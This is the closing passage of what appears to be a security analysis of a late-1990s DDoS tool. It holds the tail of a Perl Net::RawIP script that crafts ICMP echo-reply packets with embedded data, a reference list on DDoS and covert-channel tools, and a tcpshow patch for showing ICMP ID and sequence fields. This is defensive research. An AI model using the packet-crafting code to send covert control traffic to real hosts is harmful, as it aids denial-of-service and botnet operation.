$d_host}, icmp => {type => 0, id => $id, data => $opt_a} }); print "sending packet [$opt_c/\"$opt_a\"] to $d_host\n" if $opt_v; $a->send; } exit(0); ------------------------------- cut here ----------------------------------- Appendix B - References ----------------------- TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary R. Wright., Addison-Wesley. The DoS Project's "trinoo" distributed denial of service attack tool http://staff.washington.edu/dittrich/misc/trinoo.analysis The "Tribe Flood Network" distributed denial of service attack tool http://staff.washington.edu/dittrich/misc/tfn.analysis CERT Distributed System Intruder Tools Workshop report http://www.cert.org/reports/dsit_workshop.pdf CERT Advisory CA-99-17 Denial-of-Service Tools http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html Distributed denial of service attack tools at Packet Storm Security http://packetstorm.securify.com/distributed/ ngrep: http://www.packetfactory.net/ngrep/ tcpdump: ftp://ftp.ee.lbl.gov/tcpdump.tar.Z tcpshow: http://packetstorm.securify.com/linux/trinux/src/tcpshow.c sniffit: http://sniffit.rug.ac.be/sniffit/sniffit.html Net::RawIP: http://quake.skif.net/RawIP loki client/server: Phrack Magazine, Volume Seven, Issue Forty-Nine, File 06 of 16, [ Project Loki ] http://www.phrack.com/search.phtml?view&article=p49-6 Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 06 of 17 [ L O K I 2 (the implementation) ] http://www.phrack.com/search.phtml?view&article=p51-6 libnet: http://www.packetfactory.net/libnet ---------------------------------------------------------------------------- Appendix C: Patches to tcpshow 1.0 to display ICMP ECHO id/seq ---------------------------------------------------------------------- diff -c tcpshow/tcpshow.c tcpshow.orig/tcpshow.c *** tcpshow/tcpshow.c Mon Dec 27 16:21:54 1999 --- tcpshow.orig/tcpshow.c Thu Oct 21 14:12:19 1999 *************** *** 1081,1088 **** uint2 nskipped; uint1 type; char *why; - uint2 echo_id; - uint2 echo_seq; type = getbyte(&pkt); nskipped = sizeof(type); --- 1081,1086 ---- *************** *** 1093,1103 **** /* Must calculate it from the size of the IP datagram - the IP header. */ datalen -= ICMPHDRLEN; - if (type == ECHO_REQ || type == ECHO_REPLY) { - echo_id = getword(&pkt); nskipped += sizeof(cksum); - echo_seq = getword(&pkt); nskipped += sizeof(cksum); - } - why = icmpcode(type, code); if (dataflag) { printf( --- 1091,1096 ---- *************** *** 1120,1129 **** icmptype(type), why? "\n\tBecause:\t\t\t": "", why? why: "" ); printf("\tChecksum:\t\t\t0x%04X\n", cksum); - if (type == ECHO_REQ || type == ECHO_REPLY) { - printf("\tId:\t\t\t\t0x%04X (%d)\n", echo_id, echo_id); - printf("\tSequence:\t\t\t0x%04X (%d)\n", ntohs(echo_seq), ntohs(echo_seq)); - } } return pkt; --- 1113,1118 ---- *************** *** 1194,1200 **** printf("\tVersion:\t\t\t4\n\tHeader Length:\t\t\t%d bytes\n", hlen); printf("\tService Type:\t\t\t0x%02X\n", (uint2)servtype); printf("\tDatagram Length:\t\t%d bytes\n", dgramlen); ! printf("\tIdentification:\t\t\t0x%04X (%d)\n", id, id); printf( "\tFlags:\t\t\t\tMF=%s DF=%s\n", (flags & MF) == MF? on: off, (flags & DF) == DF? on_e: off_e --- 1183,1189 ---- printf("\tVersion:\t\t\t4\n\tHeader Length:\t\t\t%d bytes\n", hlen); printf("\tService Type:\t\t\t0x%02X\n", (uint2)servtype); printf("\tDatagram Length:\t\t%d bytes\n", dgramlen); ! printf("\tIdentification:\t\t\t0x%04X\n", id); printf( "\tFlags:\t\t\t\tMF=%s DF=%s\n", (flags & MF) == MF? on: off, (flags & DF) == DF? on_e: off_e ---------------------------------------------------------------------- Sources in Related > Programming > Sources